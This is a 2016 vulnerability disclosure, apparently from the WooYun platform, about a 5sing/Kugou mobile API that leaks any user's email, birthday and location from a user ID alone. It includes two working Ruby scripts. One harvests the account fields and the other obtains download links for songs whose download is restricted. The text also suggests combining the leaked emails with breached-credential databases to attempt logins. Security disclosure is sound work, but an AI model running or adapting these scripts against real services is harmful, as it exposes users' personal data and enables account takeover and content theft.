2016-02-23: 细节已通知厂商并且等待厂商处理中 2016-02-28: 厂商已经主动忽略漏洞,细节向公众公开
5sing原创音乐基地手机接口泄露任意账户敏感信息
用mitmproxy抓ios的app的时候抓到的一个API接口,有user id就可以查询账户的绑定邮箱,配合社工裤可以尝试登陆5sing账户。E参数就是email,可能还能获得其他别的信息,但是参数未知。
返回的是json的 写个脚本转换下就行了
#!/usr/bin/env rubyrequire 'open-uri'require 'json'if(ARGV[0].nil?) abort "no param."enduri = URI.parse("http://mobileapi.5sing.kugou.com/user/get?userid=#{ARGV[0]}&fields=ID,NN,I,B,P,C,SX,E,M,VT,CT,TYC,TFC,TBZ,TFD,TFS,SC,YCRQ,FCRQ,CC,BG,DJ,RC,MC,AU,SR,SG,VG,ISC,ML&version=5.7.2")uri.openstr = uri.readjson_result = JSON.parse strjson_result = json_result["data"]puts "ID:\t\t" + json_result["ID"].to_sputs "NickName:\t" + json_result["NN"].to_sputs "Birthday:\t" + json_result["B"].to_sputs "Province:\t" + json_result["P"].to_sputs "City:\t\t" + json_result["C"].to_sputs "Email:\t\t" + json_result["E"].to_sputs "Motto:\t\t" + json_result["M"].to_s
同样还有一个接口可以得到不允许下载的歌曲的下载地址
#!/usr/bin/env rubyrequire 'open-uri'require 'json'url = URI.parse("http://mobileapi.5sing.kugou.com/song/get?songtype=#{ARGV[1]}&songid=#{ARGV[0]}&songfields=ID,SN,FN,SK,SW,SS,ST,SI,CT,M,S,ZQ,WO,ZC,HY,YG,CK,D,RQ,DD,E,R,RC,SG,C,CS,LV,LG,SY,UID,PT,SCSR,SC&userfields=ID,NN,I&version=5.7.2")url.openjson = JSON.parse url.readputs json["data"]["ID"]puts json["data"]["SN"]puts json["data"]["FN"]
不要返回用不到的东西
危害等级:无影响厂商忽略
忽略时间:2016-02-28 09:40
漏洞Rank:2 (WooYun评价)
暂无